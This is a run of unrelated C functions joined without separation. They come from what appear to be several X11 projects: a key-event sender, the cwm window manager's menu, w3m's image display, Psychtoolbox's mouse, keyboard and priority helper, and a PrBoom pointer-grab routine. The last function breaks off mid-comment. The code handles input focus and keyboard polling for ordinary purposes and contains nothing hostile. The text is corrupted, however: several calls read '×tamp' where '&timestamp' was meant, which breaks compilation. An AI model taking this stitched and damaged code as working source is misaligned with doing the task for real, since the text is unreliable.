int sendSpecEvent(Display *dpy, KeySym keysym, XEvent event) { XKeyEvent xkey = event.xkey; Window inFocus; int rev; XGetInputFocus(dpy, &inFocus, &rev); XKeyEvent kp; kp.window = inFocus; // trying to get MOD4 to work kp.root = event.xany.window; kp.subwindow = 0; kp.x = xkey.x; kp.y = xkey.y; kp.x_root = xkey.x_root; kp.y_root = xkey.y_root; kp.state = xkey.state; // key or button mask kp.keycode = XKeysymToKeycode(dpy, keysym); kp.type = xkey.type; #ifdef DEBUG printf("\nstate: %x\n", kp.state); printf("in focus: %x\n", (unsigned int) inFocus); printf("from xk_event (xkey_subwin): %x\n", (unsigned int) event.xkey.subwindow); printf("from xk_event (xkey_root): %x\n", (unsigned int) event.xkey.root); printf("from xk_event (xkey_win): %x\n", (unsigned int) event.xkey.window); printf("from xa_event (xany_win): %x\n\n", (unsigned int) event.xany.window); #endif XSendEvent(dpy, kp.window, False, 0, (XEvent *)(&kp)); XFlush(dpy); return 1; }
struct menu * menu_filter(struct screen_ctx *sc, struct menu_q *menuq, const char *prompt, const char *initial, int flags, void (*match)(struct menu_q *, struct menu_q *, char *), void (*print)(struct menu *, int)) { struct menu_ctx mc; struct menu_q resultq; struct menu *mi = NULL; XEvent e; Window focuswin; int focusrevert, xsave, ysave, xcur, ycur; TAILQ_INIT(&resultq); xu_ptr_getpos(sc->rootwin, &xsave, &ysave); (void)memset(&mc, 0, sizeof(mc)); mc.sc = sc; mc.flags = flags; mc.match = match; mc.print = print; mc.entry = mc.prev = -1; mc.geom.x = xsave; mc.geom.y = ysave; if (mc.flags & CWM_MENU_LIST) mc.list = 1; (void)strlcpy(mc.promptstr, prompt, sizeof(mc.promptstr)); if (initial != NULL) (void)strlcpy(mc.searchstr, initial, sizeof(mc.searchstr)); else mc.searchstr[0] = '\0'; mc.win = XCreateSimpleWindow(X_Dpy, sc->rootwin, 0, 0, 1, 1, Conf.bwidth, sc->xftcolor[CWM_COLOR_MENU_FG].pixel, sc->xftcolor[CWM_COLOR_MENU_BG].pixel); mc.xftdraw = XftDrawCreate(X_Dpy, mc.win, sc->visual, sc->colormap); XSelectInput(X_Dpy, mc.win, MENUMASK); XMapRaised(X_Dpy, mc.win); if (XGrabPointer(X_Dpy, mc.win, False, MENUGRABMASK, GrabModeAsync, GrabModeAsync, None, Conf.cursor[CF_QUESTION], CurrentTime) != GrabSuccess) { XftDrawDestroy(mc.xftdraw); XDestroyWindow(X_Dpy, mc.win); } XGetInputFocus(X_Dpy, &focuswin, &focusrevert); XSetInputFocus(X_Dpy, mc.win, RevertToPointerRoot, CurrentTime); /* make sure keybindings don't remove keys from the menu stream */ XGrabKeyboard(X_Dpy, mc.win, True, GrabModeAsync, GrabModeAsync, CurrentTime); for (;;) { mc.changed = 0; XWindowEvent(X_Dpy, mc.win, MENUMASK, &e); switch (e.type) { case KeyPress: if ((mi = menu_handle_key(&e, &mc, menuq, &resultq)) != NULL) goto out; /* FALLTHROUGH */ case Expose: menu_draw(&mc, menuq, &resultq); break; case MotionNotify: menu_handle_move(&mc, &resultq, e.xbutton.x, e.xbutton.y); break; case ButtonRelease: if ((mi = menu_handle_release(&mc, &resultq, e.xbutton.x, e.xbutton.y)) != NULL) goto out; break; default: break; } } out: if ((mc.flags & CWM_MENU_DUMMY) == 0 && mi->dummy) { /* no mouse based match */ free(mi); mi = NULL; } XftDrawDestroy(mc.xftdraw); XDestroyWindow(X_Dpy, mc.win); XSetInputFocus(X_Dpy, focuswin, focusrevert, CurrentTime); /* restore if user didn't move */ xu_ptr_getpos(sc->rootwin, &xcur, &ycur); if (xcur == mc.geom.x && ycur == mc.geom.y) xu_ptr_setpos(sc->rootwin, xsave, ysave); XUngrabPointer(X_Dpy, CurrentTime); XUngrabKeyboard(X_Dpy, CurrentTime); return(mi); }
w3mimg_op * w3mimg_x11open() { w3mimg_op *wop = NULL; struct x11_info *xi = NULL; char *id; int revert, i; unsigned int nchildren; XWindowAttributes attr; Window root, *children; wop = (w3mimg_op *) malloc(sizeof(w3mimg_op)); if (wop == NULL) return NULL; memset(wop, 0, sizeof(w3mimg_op)); xi = (struct x11_info *)malloc(sizeof(struct x11_info)); if (xi == NULL) goto error; memset(xi, 0, sizeof(struct x11_info)); xi->display = XOpenDisplay(NULL); if (xi->display == NULL) { goto error; } if ((id = getenv("WINDOWID")) != NULL) xi->window = (Window) atoi(id); else XGetInputFocus(xi->display, &xi->window, &revert); if (!xi->window) exit(1); XGetWindowAttributes(xi->display, xi->window, &attr); wop->width = attr.width; wop->height = attr.height; while (1) { Window p_window; XQueryTree(xi->display, xi->window, &root, &xi->parent, &children, &nchildren); p_window = xi->window; for (i = 0; i < nchildren; i++) { XGetWindowAttributes(xi->display, children[i], &attr); if (attr.width > wop->width * 0.7 && attr.height > wop->height * 0.7) { /* maybe text window */ wop->width = attr.width; wop->height = attr.height; xi->window = children[i]; } } if (p_window == xi->window) break; } wop->offset_x = OFFSET_X; for (i = 0; i < nchildren; i++) { XGetWindowAttributes(xi->display, children[i], &attr); if (attr.x <= 0 && attr.width < 30 && attr.height > wop->height * 0.7) { /* scrollbar of xterm/kterm ? */ wop->offset_x += attr.x + attr.width + attr.border_width * 2; break; } } wop->offset_y = OFFSET_Y; wop->priv = xi; wop->init = x11_init; wop->finish = x11_finish; wop->active = x11_active; wop->set_background = x11_set_background; wop->sync = x11_sync; wop->close = x11_close; wop->clear = x11_clear; wop->load_image = x11_load_image; wop->show_image = x11_show_image; wop->free_image = x11_free_image; wop->get_image_size = x11_get_image_size; return wop; error: if (xi) free(xi); free(wop); return NULL; }
PsychError SCREENGetMouseHelper(void) { const char *valuatorInfo[]={"label", "min", "max", "resolution", "mode", "sourceID"}; int numValuatorStructFieldNames = 6; int numIValuators = 0; PsychGenericScriptType *valuatorStruct = NULL; #if PSYCH_SYSTEM == PSYCH_OSX Point mouseXY; UInt32 buttonState; double *buttonArray; int numButtons, i; psych_bool doButtonArray; PsychWindowRecordType *windowRecord; //all subfunctions should have these two lines. PsychPushHelp(useString, synopsisString, seeAlsoString); if(PsychIsGiveHelp()){PsychGiveHelp();return(PsychError_none);}; //cap the numbers of inputs and outputs PsychErrorExit(PsychCapNumInputArgs(3)); //The maximum number of inputs PsychErrorExit(PsychCapNumOutputArgs(6)); //The maximum number of outputs //Buttons. // The only way I know to detect the number number of mouse buttons is directly via HID. The device reports //that information but OS X seems to ignore it above the level of the HID driver, that is, no OS X API above the HID driver //exposes it. So GetMouse.m function calls PsychHID detect the number of buttons and then passes that value to GetMouseHelper //which returns that number of button values in a vector. PsychCopyInIntegerArg(1, kPsychArgRequired, &numButtons); if(numButtons > 32) PsychErrorExitMsg(PsychErorr_argumentValueOutOfRange, "numButtons must not exceed 32"); // Special codes -10 to -15? --> Console keyboard queries: if(numButtons <= -10 && numButtons >= -15) { ConsoleInputHelper((int) numButtons); return(PsychError_none); } if(numButtons < 1) PsychErrorExitMsg(PsychErorr_argumentValueOutOfRange, "numButtons must exceed 1"); doButtonArray=PsychAllocOutDoubleMatArg(3, kPsychArgOptional, (int)1, (int)numButtons, (int)1, &buttonArray); if(doButtonArray){ buttonState=GetCurrentButtonState(); for(i=0;i<numButtons;i++) buttonArray[i]=(double)(buttonState & (1<<i)); } // Get cursor position: #ifndef __LP64__ // 32-Bit Carbon version: GetGlobalMouse(&mouseXY); PsychCopyOutDoubleArg(1, kPsychArgOptional, (double)mouseXY.h); PsychCopyOutDoubleArg(2, kPsychArgOptional, (double)mouseXY.v); #else // 64-Bit HIToolbox version (OSX 10.5 and later): HIPoint outPoint; HIGetMousePosition(kHICoordSpaceScreenPixel, NULL, &outPoint); PsychCopyOutDoubleArg(1, kPsychArgOptional, (double) outPoint.x); PsychCopyOutDoubleArg(2, kPsychArgOptional, (double) outPoint.y); #endif // Return optional keyboard input focus status: if (numButtons > 0) { // Window provided? // We only have the function GetUserFocusWindow on 32-Bit Carbon. // We have a drop-in replacement in OSX/PsychCocoaGlue.c for 64-Bit Cocoa. if (PsychIsWindowIndexArg(2)) { // Yes: Check if it has focus. PsychAllocInWindowRecordArg(2, TRUE, &windowRecord); if (!PsychIsOnscreenWindow(windowRecord)) { PsychErrorExitMsg(PsychError_user, "Provided window handle isn't an onscreen window, as required."); } PsychCopyOutDoubleArg(4, kPsychArgOptional, (double) (GetUserFocusWindow() == windowRecord->targetSpecific.windowHandle) ? 1 : 0); } else { // No. Just always return "has focus": PsychCopyOutDoubleArg(4, kPsychArgOptional, (double) 1); } } // Return optional valuator values: Unimplemented on OS/X. Just return an empty matrix. // The buttonArray is just a dummy assignment without any meaning. PsychCopyOutDoubleMatArg(5, kPsychArgOptional, (int) 1, (int) 0, (int) 1, buttonArray); PsychCopyOutDoubleMatArg(6, kPsychArgOptional, (int) 1, (int) 0, (int) 1, buttonArray); #endif #if PSYCH_SYSTEM == PSYCH_WINDOWS static unsigned char disabledKeys[256]; static unsigned char firsttime = 1; int keysdown, i, priorityLevel; unsigned char keyState[256]; double* buttonArray; double numButtons, timestamp; PsychNativeBooleanType* buttonStates; POINT point; HANDLE currentProcess; DWORD oldPriority = NORMAL_PRIORITY_CLASS; const DWORD realtime_class = REALTIME_PRIORITY_CLASS; PsychWindowRecordType *windowRecord; PsychPushHelp(useString, synopsisString, seeAlsoString); if(PsychIsGiveHelp()){PsychGiveHelp();return(PsychError_none);}; // Retrieve optional number of mouse buttons: numButtons = 0; PsychCopyInDoubleArg(1, FALSE, &numButtons); // Are we operating in 'GetMouseHelper' mode? numButtons>=0 indicates this. if (numButtons>=0) { // GetMouse-Mode: Return mouse button states and mouse cursor position: PsychAllocOutDoubleMatArg(3, kPsychArgOptional, (int)1, (int)3, (int)1, &buttonArray); // Query and return mouse button state: PsychGetMouseButtonState(buttonArray); // Query and return cursor position in global coordinates: GetCursorPos(&point); PsychCopyOutDoubleArg(1, kPsychArgOptional, (double) point.x); PsychCopyOutDoubleArg(2, kPsychArgOptional, (double) point.y); // Window provided? if (PsychIsWindowIndexArg(2)) { // Yes: Check if it has focus. PsychAllocInWindowRecordArg(2, TRUE, &windowRecord); if (!PsychIsOnscreenWindow(windowRecord)) { PsychErrorExitMsg(PsychError_user, "Provided window handle isn't an onscreen window, as required."); } PsychCopyOutDoubleArg(4, kPsychArgOptional, (double) (GetForegroundWindow() == windowRecord->targetSpecific.windowHandle) ? 1 : 0); } else { // No. Just always return "has focus": PsychCopyOutDoubleArg(4, kPsychArgOptional, (double) 1); } // Return optional valuator values: Unimplemented on Windows. Just return an empty matrix. // The ×tamp is just a dummy assignment without any meaning. PsychCopyOutDoubleMatArg(5, kPsychArgOptional, (int) 1, (int) 0, (int) 1, ×tamp); PsychCopyOutDoubleMatArg(6, kPsychArgOptional, (int) 1, (int) 0, (int) 1, buttonArray); } else { // 'KeyboardHelper' mode: We implement either KbCheck() or KbWait() via X11. // This is a hack to provide keyboard queries until a PsychHID() implementation // for Microsoft Windows is available... // Special codes -10 to -15? --> Console keyboard queries: if(numButtons <= -10 && numButtons >= -15) { ConsoleInputHelper((int) numButtons); return(PsychError_none); } if (firsttime) { // First time init: firsttime = 0; memset(keyState, 0, sizeof(keyState)); memset(disabledKeys, 0, sizeof(disabledKeys)); // These keycodes are always disabled: 0, 255: disabledKeys[0]=1; disabledKeys[255]=1; // Mouse buttone (left, right, middle) are also disabled by default: disabledKeys[1]=1; disabledKeys[2]=1; disabledKeys[4]=1; } if (numButtons==-1 || numButtons==-2) { // KbCheck()/KbWait() mode do { // Reset overall key state to "none pressed": keysdown=0; // Request current time of query: PsychGetAdjustedPrecisionTimerSeconds(×tamp); // Query state of all keys: for(i=1;i<255;i++){ keyState[i] = (GetAsyncKeyState(i) & -32768) ? 1 : 0; } // Disable all keys that are registered in disabledKeys. Check if // any non-disabled key is down. for (i=0; i<256; i++) { if (disabledKeys[i]>0) keyState[i] = 0; keysdown+=(unsigned int) keyState[i]; } // We repeat until any key pressed if in KbWait() mode, otherwise we // exit the loop after first iteration in KbCheck mode. if ((numButtons==-1) || ((numButtons==-2) && (keysdown>0))) break; // Sleep for a millisecond before next KbWait loop iteration: PsychWaitIntervalSeconds(0.001); } while(1); if (numButtons==-2) { // KbWait mode: Copy out time value. PsychCopyOutDoubleArg(1, kPsychArgOptional, timestamp); } else { // KbCheck mode: // Copy out overall keystate: PsychCopyOutDoubleArg(1, kPsychArgOptional, (keysdown>0) ? 1 : 0); // Copy out timestamp: PsychCopyOutDoubleArg(2, kPsychArgOptional, timestamp); // Copy out keyboard state: PsychAllocOutBooleanMatArg(3, kPsychArgOptional, 1, 256, 1, &buttonStates); // Build 256 elements return vector: for(i=0; i<255; i++) { buttonStates[i] = (PsychNativeBooleanType)((keyState[i+1]) ? 1 : 0); } // Special case: Null out last element: buttonStates[255] = (PsychNativeBooleanType) 0; } } if (numButtons==-3) { // Priority() - helper mode: The 2nd argument is the priority level: // Determine our processID: currentProcess = GetCurrentProcess(); // Get current scheduling policy: oldPriority = GetPriorityClass(currentProcess); // Map to PTB's scheme: switch(oldPriority) { case NORMAL_PRIORITY_CLASS: priorityLevel = 0; break; case HIGH_PRIORITY_CLASS: priorityLevel = 1; break; case REALTIME_PRIORITY_CLASS: priorityLevel = 2; break; default: priorityLevel = 0; } // Copy it out as optional return argument: PsychCopyOutDoubleArg(1, kPsychArgOptional, (double) priorityLevel); // Query if a new level should be set: priorityLevel = -1; PsychCopyInIntegerArg(2, kPsychArgOptional, &priorityLevel); // Priority level provided? if (priorityLevel > -1) { // Map to new scheduling class: if (priorityLevel > 2) PsychErrorExitMsg(PsychErorr_argumentValueOutOfRange, "Invalid Priority level: Requested Priority() level must not exceed 2."); switch(priorityLevel) { case 0: // Standard scheduling: SetPriorityClass(currentProcess, NORMAL_PRIORITY_CLASS); // Disable any MMCSS scheduling for us: PsychSetThreadPriority((psych_thread*) 0x1, 0, 0); break; case 1: // High priority scheduling: SetPriorityClass(currentProcess, HIGH_PRIORITY_CLASS); // Additionally try to schedule us MMCSS: This will lift us roughly into the // same scheduling range as REALTIME_PRIORITY_CLASS, even if we are non-admin users // on Vista and Windows-7 and later, however with a scheduler safety net applied. PsychSetThreadPriority((psych_thread*) 0x1, 10, 0); break; case 2: // Realtime scheduling: // This can fail if Matlab is not running under a user account with proper permissions: if ((0 == SetPriorityClass(currentProcess, REALTIME_PRIORITY_CLASS)) || (REALTIME_PRIORITY_CLASS != GetPriorityClass(currentProcess))) { // Failed to get RT-Scheduling. Let's try at least high priority scheduling: SetPriorityClass(currentProcess, HIGH_PRIORITY_CLASS); // Additionally try to schedule us MMCSS: This will lift us roughly into the // same scheduling range as REALTIME_PRIORITY_CLASS, even if we are non-admin users // on Vista and Windows-7 and later, however with a scheduler safety net applied. PsychSetThreadPriority((psych_thread*) 0x1, 10, 0); } break; } } // End of Priority() helper for Win32. } } #endif #if PSYCH_SYSTEM == PSYCH_LINUX double myvaluators[100]; int numvaluators; unsigned char keys_return[32]; char* keystring; PsychGenericScriptType *kbNames; CGDirectDisplayID dpy; Window rootwin, childwin, mywin; int i, j, mx, my, dx, dy; double mxd, myd, dxd, dyd; unsigned int mask_return; double timestamp; int numButtons; double* buttonArray; PsychNativeBooleanType* buttonStates; int keysdown; XEvent event_return; XKeyPressedEvent keypressevent; int screenNumber; int priorityLevel; struct sched_param schedulingparam; PsychWindowRecordType *windowRecord; int mouseIndex; XIButtonState buttons_return; XIModifierState modifiers_return; XIGroupState group_return; PsychPushHelp(useString, synopsisString, seeAlsoString); if(PsychIsGiveHelp()){PsychGiveHelp();return(PsychError_none);}; PsychCopyInIntegerArg(1, kPsychArgRequired, &numButtons); // Retrieve optional screenNumber argument: if (numButtons!=-5) { screenNumber = 0; if (PsychIsScreenNumberArg(2)) { PsychCopyInScreenNumberArg(2, FALSE, &screenNumber); } // Map screenNumber to X11 display handle and screenid: PsychGetCGDisplayIDFromScreenNumber(&dpy, screenNumber); if (PsychIsWindowIndexArg(2)) { PsychAllocInWindowRecordArg(2, TRUE, &windowRecord); if (!PsychIsOnscreenWindow(windowRecord)) { PsychErrorExitMsg(PsychError_user, "Provided window handle isn't an onscreen window, as required."); } screenNumber = windowRecord->screenNumber; mywin = windowRecord->targetSpecific.xwindowHandle; // Map screenNumber to X11 display handle and screenid: PsychGetCGDisplayIDFromScreenNumber(&dpy, screenNumber); } else { mywin = RootWindow(dpy, PsychGetXScreenIdForScreen(screenNumber)); } } // Default to "old school" mouse query - System default mouse via X core protocol: mouseIndex = -1; PsychCopyInIntegerArg(3, FALSE, &mouseIndex); // Are we operating in 'GetMouseHelper' mode? numButtons>=0 indicates this. if (numButtons>=0) { // Mouse pointer query mode: numvaluators = 0; if (mouseIndex >= 0) { // XInput-2 query for handling of multiple mouse pointers: // Query input device list for screen: int nDevices; XIDeviceInfo* indevs = PsychGetInputDevicesForScreen(screenNumber, &nDevices); // Sanity check: if (NULL == indevs) PsychErrorExitMsg(PsychError_user, "Sorry, your system does not support individual mouse pointer queries."); if (mouseIndex >= nDevices) PsychErrorExitMsg(PsychError_user, "Invalid 'mouseIndex' provided. No such device."); if ((indevs[mouseIndex].use != XIMasterPointer) && (indevs[mouseIndex].use != XISlavePointer) && (indevs[mouseIndex].use != XIFloatingSlave)) { PsychErrorExitMsg(PsychError_user, "Invalid 'mouseIndex' provided. Not a pointer device."); } // We requery the device info struct to retrieve updated live device state: // Crucial for slave pointers to get any state at all, but also needed on // master pointers to get the state of additional valuators, e.g., pen pressure, // touch area, tilt etc. for digitizer tablets, touch pads etc. For master pointers, // the primary 2 axis for 2D (x,y) position and the button/modifier state will be // queried via a dedicated XIQueryPointer() call, so that info gets overriden. indevs = XIQueryDevice(dpy, indevs[mouseIndex].deviceid, &numButtons); modifiers_return.effective = 0; // Query real number of mouse buttons and the raw button and axis state // stored inside the device itself. This is done mostly because slave pointer // devices don't support XIQueryPointer() so we get their relevant info from the // XIDeviceInfo struct itself: numButtons = 0; numvaluators = 0; memset(myvaluators, 0, sizeof(myvaluators)); if (PsychIsArgPresent(PsychArgOut, 6)) { // Usercode wants valuator info structs: for (i = 0; i < indevs->num_classes; i++) if (indevs->classes[i]->type == XIValuatorClass) numIValuators++; PsychAllocOutStructArray(6, TRUE, numIValuators, numValuatorStructFieldNames, valuatorInfo, &valuatorStruct); } for (i = 0; i < indevs->num_classes; i++) { // printf("Class %i: Type %i\n", i, (int) indevs->classes[i]->type); if (indevs->classes[i]->type == XIButtonClass) { // Number of buttons: For all pointers. numButtons = ((XIButtonClassInfo*) indevs->classes[i])->num_buttons; // Button state for slave pointers. Will get overriden for master pointers: buttons_return.mask = ((XIButtonClassInfo*) indevs->classes[i])->state.mask; buttons_return.mask_len = ((XIButtonClassInfo*) indevs->classes[i])->state.mask_len; } // Axis state for slave pointers. First two axis (x,y) will get overriden for master pointers: if (indevs->classes[i]->type == XIValuatorClass) { XIValuatorClassInfo* axis = (XIValuatorClassInfo*) indevs->classes[i]; if (axis->number == 0) mxd = axis->value; // x-Axis. if (axis->number == 1) myd = axis->value; // y-Axis. // Additional axis, e.g., digitizer tablet, touchpads etc.: if (axis->number >= 0 && axis->number < 100) { myvaluators[axis->number] = axis->value; numvaluators = (numvaluators >= axis->number + 1) ? numvaluators : axis->number + 1; } // Assign valuator info struct, if requested: if (valuatorStruct) { if (axis->label != None) { char* atomlabel = XGetAtomName(dpy, axis->label); PsychSetStructArrayStringElement("label", axis->number, atomlabel, valuatorStruct); XFree(atomlabel); } else { PsychSetStructArrayStringElement("label", axis->number, "None", valuatorStruct); } PsychSetStructArrayDoubleElement("min", axis->number, (double) axis->min, valuatorStruct); PsychSetStructArrayDoubleElement("max", axis->number, (double) axis->max, valuatorStruct); PsychSetStructArrayDoubleElement("resolution", axis->number, (double) axis->resolution, valuatorStruct); PsychSetStructArrayDoubleElement("mode", axis->number, (double) axis->mode, valuatorStruct); PsychSetStructArrayDoubleElement("sourceID", axis->number, (double) axis->sourceid, valuatorStruct); } // printf("AXIS %i, LABEL = %s, MIN = %f, MAX = %f, VAL = %f\n", axis->number, (char*) "NONE", (float) axis->min, (float) axis->max, (float) axis->value); } } // Add 32 buttons for modifier key state vector: numButtons += 32; // A real master pointer: Use official query for mouse devices. if (indevs->use == XIMasterPointer) { // Query pointer location and state: XIQueryPointer(dpy, indevs->deviceid, RootWindow(dpy, PsychGetXScreenIdForScreen(screenNumber)), &rootwin, &childwin, &mxd, &myd, &dxd, &dyd, &buttons_return, &modifiers_return, &group_return); } // Copy out mouse x and y position: PsychCopyOutDoubleArg(1, kPsychArgOptional, mxd); PsychCopyOutDoubleArg(2, kPsychArgOptional, myd); // Copy out mouse button state: PsychAllocOutDoubleMatArg(3, kPsychArgOptional, (int)1, (int) numButtons, (int)1, &buttonArray); memset(buttonArray, 0, sizeof(double) * numButtons); if (numButtons > 0) { // Mouse buttons: const int buttonOffset = 1; // Buttons start at bit 1, not 0 for some strange reason? At least so on Ubuntu 10.10 and 11.10 with 2 mice and 1 joystick? for (i = buttonOffset; (i < numButtons - 32) && ((i / 8 ) < buttons_return.mask_len); i++) { buttonArray[i - buttonOffset] = (double) ((buttons_return.mask[i / 8] & (1 << (i % 8))) ? 1 : 0); } // Free mask if retrieved via XIQueryPointer(): if (indevs->use == XIMasterPointer) free(buttons_return.mask); // Append modifier key state from associated master keyboard. Last 32 entries: for (i = 0; i < 32; i++) { buttonArray[numButtons - 32 + i] = (double) ((modifiers_return.effective & (1 << i)) ? 1 : 0); } } // Release live state info structure: XIFreeDeviceInfo(indevs); } else { // Old school core protocol query of virtual core pointer: XQueryPointer(dpy, RootWindow(dpy, PsychGetXScreenIdForScreen(screenNumber)), &rootwin, &childwin, &mx, &my, &dx, &dy, &mask_return); // Copy out mouse x and y position: PsychCopyOutDoubleArg(1, kPsychArgOptional, (double) mx); PsychCopyOutDoubleArg(2, kPsychArgOptional, (double) my); // Copy out mouse button state: PsychAllocOutDoubleMatArg(3, kPsychArgOptional, (int)1, (int)numButtons, (int)1, &buttonArray); // Bits 8, 9 and 10 of mask_return seem to correspond to mouse buttons // 1, 2 and 3 of a mouse for some weird reason. Bits 0-7 describe keyboard modifier keys // like Alt, Ctrl, Shift, ScrollLock, NumLock, CapsLock... // We remap here, so the first three returned entries correspond to the mouse buttons and // the rest is attached behind, if requested... // Mouse buttons: Left, Middle, Right == 0, 1, 2, aka 1,2,3 in Matlab space... for (i=0; i<numButtons && i<3; i++) { buttonArray[i] = (mask_return & (1<<(i+8))) ? 1 : 0; } // Modifier keys 0 to 7 appended: for (i=3; i<numButtons && i<3+8; i++) { buttonArray[i] = (mask_return & (1<<(i-3))) ? 1 : 0; } // Everything else appended: for (i=11; i<numButtons; i++) { buttonArray[i] = (mask_return & (1<<i)) ? 1 : 0; } } // Return optional 4th argument: Focus state. Returns 1 if our window has // keyboard input focus, zero otherwise: XGetInputFocus(dpy, &rootwin, &i); PsychCopyOutDoubleArg(4, kPsychArgOptional, (double) (rootwin == mywin) ? 1 : 0); // Return optional valuator values: PsychCopyOutDoubleMatArg(5, kPsychArgOptional, (int) 1, (int) numvaluators, (int) 1, &myvaluators[0]); } else { // 'KeyboardHelper' mode: We implement either KbCheck() or KbWait() via X11. // This is a hack to provide keyboard queries until a PsychHID() implementation // for Linux is available... // Special codes -10 to -15? --> Console keyboard queries: if(numButtons <= -10 && numButtons >= -15) { ConsoleInputHelper((int) numButtons); return(PsychError_none); } if (numButtons==-1 || numButtons==-2) { // KbCheck()/KbWait() mode: // Switch X-Server into synchronous mode: We need this to get // a higher timing precision. XSynchronize(dpy, TRUE); do { // Reset overall key state to "none pressed": keysdown=0; // Request current keyboard state from X-Server: XQueryKeymap(dpy, keys_return); // Request current time of query: PsychGetAdjustedPrecisionTimerSeconds(×tamp); // Any key down? for (i=0; i<32; i++) keysdown+=(unsigned int) keys_return[i]; // We repeat until any key pressed if in KbWait() mode, otherwise we // exit the loop after first iteration in KbCheck mode. if ((numButtons==-1) || ((numButtons==-2) && (keysdown>0))) break; // Sleep for a few milliseconds before next KbWait loop iteration: PsychWaitIntervalSeconds(0.01); } while(1); if (numButtons==-2) { // Copy out time: PsychCopyOutDoubleArg(1, kPsychArgOptional, timestamp); } else { // KbCheck mode: // Copy out overall keystate: PsychCopyOutDoubleArg(1, kPsychArgOptional, (keysdown>0) ? 1 : 0); // copy out timestamp: PsychCopyOutDoubleArg(2, kPsychArgOptional, timestamp); // Copy keyboard state: PsychAllocOutBooleanMatArg(3, kPsychArgOptional, 1, 256, 1, &buttonStates); // Map 32 times 8 bitvector to 256 element return vector: for(i=0; i<32; i++) { for(j=0; j<8; j++) { buttonStates[i*8 + j] = (PsychNativeBooleanType)(keys_return[i] & (1<<j)) ? 1 : 0; } } } } else if (numButtons == -3) { // numButtons == -3 --> KbName mapping mode: // Return the full keyboard keycode to ASCII character code mapping table... PsychAllocOutCellVector(1, kPsychArgOptional, 256, &kbNames); for(i=0; i<256; i++) { // Map keyboard scan code to KeySym: keystring = XKeysymToString(XKeycodeToKeysym(dpy, i, 0)); if (keystring) { // Character found: Return its ASCII name string: PsychSetCellVectorStringElement(i, keystring, kbNames); } else { // No character for this keycode: PsychSetCellVectorStringElement(i, "", kbNames); } } } else if (numButtons == -4) { // GetChar() emulation. /* do { */ /* // Fetch next keypress event from queue, block if none is available... */ /* keystring = NULL; */ /* XNextEvent(dpy, &event_return); */ /* // Check for valid keypress event and extract character: */ /* if (event_return.type == KeyPress) { */ /* keypressevent = (XKeyPressedEvent) event_return; */ /* keystring = NULL; */ /* keystring = XKeysymToString(XKeycodeToKeysym(dpy, keypressevent.keycode, 0)); */ /* } */ /* // Repeat until a valid char is returned. */ /* } while (keystring == NULL); */ /* // Copy out character: */ /* PsychCopyOutCharArg(1, kPsychArgOptional, (char) keystring); */ /* // Copy out time: */ /* PsychCopyOutDoubleArg(2, kPsychArgOptional, (double) keypressevent.time); */ } else if (numButtons==-5) { // Priority() - helper mode: The 2nd argument is the priority level: // Query scheduling policy and priority: pthread_getschedparam(pthread_self(), &priorityLevel, &schedulingparam); // If scheduling mode is a realtime mode (RoundRobin realtime RR, or FIFO realtime), // then assign RT priority level (range 1-99) as current priorityLevel, otherwise // assign non realtime priority level zero: priorityLevel = (priorityLevel == SCHED_RR || priorityLevel == SCHED_FIFO) ? schedulingparam.sched_priority : 0; // Copy it out as optional return argument: PsychCopyOutDoubleArg(1, kPsychArgOptional, (double) priorityLevel); // Query if a new level should be set: priorityLevel = -1; PsychCopyInIntegerArg(2, kPsychArgOptional, &priorityLevel); errno=0; // Priority level provided? if (priorityLevel > -1) { // Map to new scheduling class: if (priorityLevel > 99 || priorityLevel < 0) PsychErrorExitMsg(PsychErorr_argumentValueOutOfRange, "Invalid Priority level: Requested Priority() level must be between zero and 99!"); if (priorityLevel > 0) { // Realtime FIFO scheduling and all pages of Matlab/Octave locked into memory: schedulingparam.sched_priority = priorityLevel; priorityLevel = pthread_setschedparam(pthread_self(), SCHED_FIFO, &schedulingparam); if (priorityLevel == -1) { // Failed! if(!PsychPrefStateGet_SuppressAllWarnings()) { printf("PTB-ERROR: Failed to enable realtime-scheduling with Priority(%i) [%s]!\n", schedulingparam.sched_priority, strerror(errno)); if (errno==EPERM) { printf("PTB-ERROR: You need to run Matlab/Octave with root-privileges, or run the script PsychLinuxConfiguration once for this to work.\n"); } } errno=0; } else { // RT-Scheduling active. Lock all current and future memory: priorityLevel = mlockall(MCL_CURRENT | MCL_FUTURE); if (priorityLevel!=0) { // Failed! Report problem as warning, but don't worry further. if(!PsychPrefStateGet_SuppressAllWarnings()) printf("PTB-WARNING: Failed to enable system memory locking with Priority(%i) [%s]!\n", schedulingparam.sched_priority, strerror(errno)); // Undo any possibly partial mlocks.... munlockall(); errno=0; } } } else { // Standard scheduling and no memory locking: schedulingparam.sched_priority = 0; priorityLevel = pthread_setschedparam(pthread_self(), SCHED_OTHER, &schedulingparam); if (priorityLevel == -1) { // Failed! if(!PsychPrefStateGet_SuppressAllWarnings()) { printf("PTB-ERROR: Failed to disable realtime-scheduling with Priority(%i) [%s]!\n", schedulingparam.sched_priority, strerror(errno)); if (errno==EPERM) { printf("PTB-ERROR: You need to run Matlab/Octave with root-privileges, or run the script PsychLinuxConfiguration once for this to work.\n"); } } errno=0; } munlockall(); errno=0; } // End of setup of new Priority... } // End of Priority() helper for Linux. } } // End of special functions handling for Linux... #endif return(PsychError_none); }
static void I_VerifyPointerGrabState(void) { #ifndef AGGR_FOCUS boolean focused; // Are we the focused window? { Window fwin = None; int revert_to = 0; XGetInputFocus(X_display, &fwin, &revert_to); // WARNING: non-portable? focused = (fwin == X_mainWindow) ? true : false; } #endif if (!grabMouse) return; // CPhipps - do not grab the mouse if paused // or not playing a level or the window is obscured // or during demo playback // DO grab in menus, because needed for key bindings screen if (paused || (gamestate != GS_LEVEL) || (vis_flag != VisibilityUnobscured) #ifndef AGGR_FOCUS || !focused #endif || demoplayback) { if (grabbed) { // Release the mouse XUngrabPointer(X_display, CurrentTime); // Post a Doom event saying there is no movement and no buttons event.type = ev_mouse; event.data1 = event.data2 = event.data3 = 0; } grabbed = false; } else { #ifdef AGGR_FOCUS XSetInputFocus(X_display, X_mainWindow, RevertToParent, CurrentTime); #endif // grabs the pointer so it is restricted to this window if (!grabbed && (vis_flag == VisibilityUnobscured)) { XGrabPointer(X_display, X_mainWindow, True, #ifndef POLL_POINTER ButtonPressMask|ButtonReleaseMask|PointerMotionMask, #else 0, #endif GrabModeAsync, GrabModeAsync, X_mainWindow, None, CurrentTime); I_QueryPointer(&newmouse, NULL); } grabbed = true; /* Warp the pointer back to the middle of the window * or it could end up stuck on an edge * Only warping if needed */ if (abs(newmouse.x - X_width/2) > (X_width/2 - 32) || abs(newmouse.y - X_height/2) > (X_height/2 - 20)) { /*mead allow 